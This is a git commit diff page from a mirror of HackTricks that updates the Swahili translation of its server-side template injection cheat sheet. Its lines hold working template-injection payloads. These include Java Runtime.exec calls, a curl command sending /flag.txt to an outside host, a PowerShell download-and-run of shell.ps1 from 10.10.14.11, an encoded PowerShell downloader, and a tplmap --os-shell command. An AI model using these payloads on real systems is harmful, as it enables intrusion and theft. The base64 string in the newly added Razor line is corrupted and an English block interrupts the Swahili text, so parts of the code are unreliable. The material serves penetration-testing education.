mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-03 09:59:40 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
4fba3faca5
commit
791ded1ac1
1 changed files with 45 additions and 45 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,34 +22,34 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
|
||||
|
||||
Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unapotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi ambacho hutekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unaotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi ambacho hutekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
|
||||
Jinja ni injini maarufu ya kigeuzi inayotumiwa katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kipande cha nambari kilicho na udhaifu kutumia Jinja:
|
||||
Jinja ni injini maarufu ya kigeuzi inayotumiwa katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Katika msimbo huu wenye mapungufu, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya `name`, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
|
||||
Katika msimbo huu wenye kasoro, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya `name`, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
|
||||
|
||||
Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{kitu-kibaya-hapa}}` imeingizwa kwenye parameter ya `jina`. Payload hii inaweza kuwa na maelekezo ya templeti ya Jinja ambayo inamruhusu mkaidi kutekeleza nambari isiyo halali au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.
|
||||
Payload `{{kitu-kibaya-hapa}}` imeingizwa kwenye parameter ya `jina`. Payload hii inaweza kuwa na maelekezo ya templeti ya Jinja ambayo inamruhusu mtu mhalifu kutekeleza nambari isiyo ruhusiwa au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.
|
||||
|
||||
Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa mwingiliano wa mtumiaji unasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa mwingiliano na kutumia mbinu za kutoroka zenye ufahamu wa muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa matokeo ya mtumiaji yanasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa matokeo ya mtumiaji na kutumia mbinu za kutoruhusu kwa muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
|
||||
### Uchunguzi
|
||||
|
||||
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, **kufanya fujo kwenye templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti katika majibu ya seva kati ya data ya kawaida na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
|
||||
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, **kufanya fujo kwenye templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti katika majibu ya seva kwa data ya kawaida ikilinganishwa na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
|
||||
|
||||
- Kutoa makosa, kufunua udhaifu na labda injini ya templeti.
|
||||
- Kutokuwepo kwa payload katika kioo, au sehemu zake kukosekana, ikimaanisha seva inaiprocess tofauti na data ya kawaida.
|
||||
- **Muktadha wa Nakala Ndogo**: Tofautisha na XSS kwa kuangalia ikiwa seva inahakiki maelezo ya templeti (k.m., `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha vigezo vya mwingiliano. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.jina` kuona ikiwa matokeo ya seva ni ya kudumu au yaliyobadilika, kama vile `salamu=data.jina}}habari` kurudisha jina la mtumiaji.
|
||||
- Kutokuwepo kwa payload katika kujibu, au sehemu zake kukosekana, ikimaanisha seva inaiprocess tofauti na data ya kawaida.
|
||||
- **Muktadha wa Nakala Ndogo**: Tofautisha na XSS kwa kuangalia ikiwa seva inahakiki matokeo ya templeti (k.m., `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha vigezo vya matokeo. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.username` kuona ikiwa matokeo ya seva ni ya kudumu au yana mabadiliko, kama vile `salamu=data.username}}hello` kurudisha jina la mtumiaji.
|
||||
|
||||
#### Hatua ya Kutambua
|
||||
|
||||
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida na mizigo ya lugha mbalimbali. Mizigo ya kawaida inayosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa operesheni za hisabati husaidia kugundua injini maalum ya templeti.
|
||||
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida na mizigo ya lugha tofauti. Mizigo ya kawaida inayosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa operesheni za hisabati husaidia kugundua injini maalum ya templeti.
|
||||
|
||||
## Zana
|
||||
|
||||
|
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
|
|||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
|
||||
python3 sstimap.py -u "https://example.com/page?name=John" -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
```python
|
||||
|
@ -72,15 +72,15 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
|||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Majedwali wa Kutia Mifano](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Meza ya Kutia Mipangilio ya Kuingiza](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
meza inayoweza kuingiliana inaonyesha mchanganyiko wa kutia mifano yenye ufanisi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za mifano.
|
||||
meza inayoweza kuingiliana inaleta pamoja mipangilio ya kuingiza ya poliglot yenye ufanisi pamoja na majibu yanayotarajiwa ya injini za templeti 44 muhimu zaidi.
|
||||
|
||||
## Kudukua
|
||||
## Kuingiza
|
||||
|
||||
### Kijumla
|
||||
|
||||
Katika **orodha ya maneno** hii unaweza kupata **vibadilishaji vilivyofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
|
||||
Katika **orodha ya maneno** hii unaweza kupata **variables zilizofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
@ -167,7 +167,7 @@ $out.read()
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
Katika Thymeleaf, jaribio la kawaida la uwezekano wa kushambuliwa na SSTI ni mchanganyiko `${7*7}`, ambao pia unatumika kwa injini hii ya kigezo. Kwa utekelezaji wa kanuni za mbali, mchanganyiko kama huu unaweza kutumika:
|
||||
Katika Thymeleaf, jaribio la kawaida la kutafuta vulnerabilities za SSTI ni expression `${7*7}`, ambayo pia inatumika kwa injini hii ya template. Kwa potential remote code execution, expressions kama zifuatazo zinaweza kutumika:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
@ -180,22 +180,22 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf inahitaji mchanganyiko huu kuwekwa ndani ya sifa maalum. Hata hivyo, _kuingiza mchanganyiko wa maelezo_ inasaidiwa kwa maeneo mengine ya kigezo, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mchanganyiko wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
|
||||
Thymeleaf inahitaji expressions hizi ziwekwe ndani ya attributes maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya template, kutumia syntax kama `[[...]]` au `[(...)]`. Hivyo, payload rahisi ya kujaribu SSTI inaweza kuonekana kama `[[${7*7}]]`.
|
||||
|
||||
Hata hivyo, uwezekano wa mchanganyiko huu kufanya kazi kwa ujumla ni mdogo. Mpangilio wa msingi wa Thymeleaf hauungi mkono uundaji wa kigezo cha kudumu; mifano lazima iwe tayari. Watengenezaji wangepaswa kutekeleza `TemplateResolver` yao wenyewe ili kuunda mifano kutoka kwa herufi kwa wakati halisi, jambo ambalo si la kawaida.
|
||||
Hata hivyo, uwezekano wa payload huu kufanya kazi kwa ujumla ni mdogo. Configuration ya msingi ya Thymeleaf haisaidii dynamic template generation; templates lazima ziwe zimefafanuliwa mapema. Wabunifu wangehitaji kutekeleza `TemplateResolver` yao wenyewe ili kuunda templates kutoka strings kwa haraka, jambo ambalo si la kawaida.
|
||||
|
||||
Thymeleaf pia inatoa _usindikaji wa mchanganyiko_, ambapo mchanganyiko ndani ya mstari wa chini mara mbili (`__...__`) unapoproseswa mapema. Kipengele hiki kinaweza kutumika katika ujenzi wa mchanganyiko, kama ilivyoonyeshwa katika nyaraka za Thymeleaf:
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo expressions ndani ya double underscores (`__...__`) zinapoprocessed mapema. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama ilivyodhihirishwa katika nyaraka za Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Mfano wa Udhaifu katika Thymeleaf**
|
||||
|
||||
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa na hatari ya kuchambuliwa:
|
||||
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa rahisi kwa shambulizi:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Hii inaonyesha kwamba ikiwa injini ya kigezo inachakata vipimo hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti inachakata vipimo hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -214,7 +214,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```
|
||||
**Kupita kwenye vichujio**
|
||||
|
||||
Inaweza kutumika mchanganyiko wa maneno ya kipekee, ikiwa `${...}` haifanyi kazi jaribu `#{...}`, `*{...}`, `@{...}` au `~{...}`.
|
||||
Inaweza kutumika mchanganyiko wa maonyesho ya pembejeo, ikiwa `${...}` haifanyi kazi jaribu `#{...}`, `*{...}`, `@{...}` au `~{...}`.
|
||||
|
||||
* Soma `/etc/passwd`
|
||||
```java
|
||||
|
@ -320,7 +320,7 @@ Imesuluhishwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
|||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` mizizi ya taarifa
|
||||
* `{{ }}` mizizi ya kielezo
|
||||
* `{{ }}` mizizi ya maelezo
|
||||
* `{# #}` mizizi ya maoni
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
|
@ -382,11 +382,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{ombi}}, ${{kikao}}, {{faceContext}}`
|
||||
|
||||
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama maboga yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
|
||||
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama mabaka yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazofanana.
|
||||
* **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
* **Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI)**: EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na maboga yaliyosimamiwa, ikisimamia muundo thabiti wa programu.
|
||||
* **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kufikia na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
* **Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI)**: EL inashirikiana na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na mabaka yaliyosimamiwa, ikisimamia muundo thabiti wa programu.
|
||||
|
||||
Angalia ukurasa ufuatao kujifunza zaidi kuhusu **utumiaji wa waelekezaji wa EL**:
|
||||
|
||||
|
@ -396,7 +396,7 @@ Angalia ukurasa ufuatao kujifunza zaidi kuhusu **utumiaji wa waelekezaji wa EL**
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Mipito ya Usimamizi wa Usalama ifuatayo ilichukuliwa kutoka kwenye hii [**andishi**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye [**makala**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -491,7 +491,7 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ni injini ya templeti ya asili ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templeti, ikifanya iwe rahisi kwa watengenezaji wa PHP.
|
||||
Plates ni injini ya templeti ya asili ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
|
||||
|
||||
Msimamizi:
|
||||
```php
|
||||
|
@ -553,19 +553,19 @@ Muundo wa kigeuzi:
|
|||
|
||||
## Description
|
||||
|
||||
In some cases, the application may use server-side templates to render dynamic content. If the application does not properly validate and sanitize user input in these templates, it may be vulnerable to Server-Side Template Injection (SSTI). An attacker can exploit this vulnerability to execute arbitrary code on the server.
|
||||
In some cases, the application may use server-side templates to render dynamic content. If the application is not properly sanitizing user input, it may be vulnerable to Server-Side Template Injection (SSTI). This can allow an attacker to inject and execute arbitrary code on the server.
|
||||
|
||||
## Exploitation
|
||||
|
||||
To exploit SSTI, an attacker can inject template code into user-controllable input fields, such as search bars or form fields. The injected code will then be executed by the server when the template is rendered.
|
||||
To exploit SSTI, an attacker can inject template code into user input fields that are later rendered by the server. This can lead to various attacks such as data exfiltration, code execution, and server compromise.
|
||||
|
||||
## Detection
|
||||
|
||||
Detecting SSTI vulnerabilities can be challenging, as the behavior may vary depending on the template engine used by the application. Manual code review and testing with payloads can help identify potential SSTI vulnerabilities.
|
||||
Detecting SSTI vulnerabilities can be challenging as the injected code may not be directly visible in the application's response. However, unusual behavior in the application's response or error messages containing template syntax can indicate a possible SSTI vulnerability.
|
||||
|
||||
## Prevention
|
||||
|
||||
To prevent SSTI vulnerabilities, it is important to validate and sanitize all user input before using it in server-side templates. Additionally, consider using a secure template engine that automatically escapes user input to prevent code execution.
|
||||
To prevent SSTI vulnerabilities, it is essential to properly sanitize and validate user input before rendering it in server-side templates. Additionally, using a secure template engine with built-in sandboxing capabilities can help mitigate the risk of SSTI attacks.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -676,10 +676,10 @@ URLencoded:
|
|||
|
||||
| **Kigezo** | **Maelezo** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Thibitisha na toa matokeo |
|
||||
| | Thibitisha na toa matokeo yaliyofungwa kwenye HTML |
|
||||
| | Kutathmini na kutoa matokeo |
|
||||
| | Kutathmini na kutoa matokeo yaliyofungwa kwa HTML |
|
||||
| | Maoni |
|
||||
| na | Ruhusu nambari (imelemazwa kwa chaguo-msingi) |
|
||||
| na | Kuruhusu nambari (imelemazwa kwa chaguo-msingi) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -872,9 +872,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Msimbo wa C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Mbinu ya `System.Diagnostics.Process.Start` ya .NET inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti inayoweza kudhurika kwenye [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
Mbinu ya `.NET` ya `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo na kasoro katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Maelezo zaidi**
|
||||
|
||||
|
@ -885,7 +885,7 @@ Mbinu ya `System.Diagnostics.Process.Start` ya .NET inaweza kutumika kuanzisha m
|
|||
|
||||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Hakuna kitu
|
||||
* `<%= foo %>` = Hakuna
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
|
@ -914,7 +914,7 @@ Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa n
|
|||
|
||||
**Udanganyifu wa XSS**
|
||||
|
||||
Kwa pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya `html/template` inakataza majibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inatoa `<script>alert(1)</script>`). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Kwa pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya `html/template` inakata majibu ili kuzuia hili (k.m., `{{"<script>alert(1)</script>"}}` inatoa `<script>alert(1)</script>`). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
|
@ -922,7 +922,7 @@ vbnet Copy code
|
|||
|
||||
Udanganyifu wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "call"), jambo ambalo haliruhusiwi katika `html/template`. Nyaraka kwa moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumiwa kama `{{ .System "ls" }}`. Kupata nambari ya chanzo mara nyingi ni muhimu kwa kudanganya hii, kama katika mfano uliotolewa:
|
||||
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumiwa kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi ni muhimu kudanganya hili, kama katika mfano uliotolewa:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -960,7 +960,7 @@ Ikiwa unadhani inaweza kuwa na manufaa, soma:
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Zoezi & Marejeleo
|
||||
## Zoezi & Marejeo
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -980,7 +980,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
Loading…
Reference in a new issue